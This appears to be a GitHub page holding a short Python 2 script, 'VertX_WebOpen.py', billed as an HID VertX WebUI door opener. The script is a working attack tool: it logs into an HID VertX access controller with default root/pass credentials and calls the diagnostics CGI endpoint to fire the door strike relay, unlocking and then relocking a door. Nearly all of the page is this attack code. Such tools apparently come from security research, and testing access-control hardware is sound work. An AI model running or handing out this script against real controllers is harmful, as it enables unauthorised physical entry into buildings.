-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathVertX_WebOpen.py
executable file
·69 lines (54 loc) · 1.67 KB
/
VertX_WebOpen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
#
# VertX_WebOpen.py - HID VertX WebUI Door Opener
# by brad antoniewicz
#
import getopt
import sys
import time
import httplib
import urllib2
import base64
def usage():
help = "Options:\n"
help += "\t-h <host>\t host\n"
help += "\t-u <username>\tUsername (default:root)\n"
help += "\t-p <passowrd>\tPassword (default:pass)\n"
return help
def main():
print "VertX_WebOpen.py - HID VertX WebUI Door Opener"
print "by brad antoniewicz"
print "--------------------------------------\n"
timestamp = int(time.time());
targetIP=0
user="root"
password="pass"
try:
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:",[])
except getopt.GetoptError:
print usage()
return
for o, a in opts:
if o == "-h":
targetIP = a
if o == "-u":
user = a
if o == "-p":
password = a
if (targetIP == 0):
print usage()
return
b64encodedCreds = base64.b64encode(user + ":" + password);
url="http://" + targetIP + "/cgi-bin/diagnostics_execute.cgi?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=1&MS=" + str(timestamp) + "406"
url2="http://" + targetIP +"/cgi-bin/diagnostics_execute.cgi?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=0&MS=" + str(timestamp) + "406"
header = { "Referer" : "http://" + targetIP + "/cgi-bin/diagnostics.cgi?Category=status",
"Authorization" : "Basic " + b64encodedCreds }
print "[+] Sending VertX Unlock Request via WebUI"
req=urllib2.Request(url,None, header)
response=urllib2.urlopen(req)
print "[+] Sent! - Door Open?"
print "[+] Sending VertX Lock Request via WebUI"
req=urllib2.Request(url2,None, header)
response=urllib2.urlopen(req)
print "[+] Sent! - Door Closed"
main()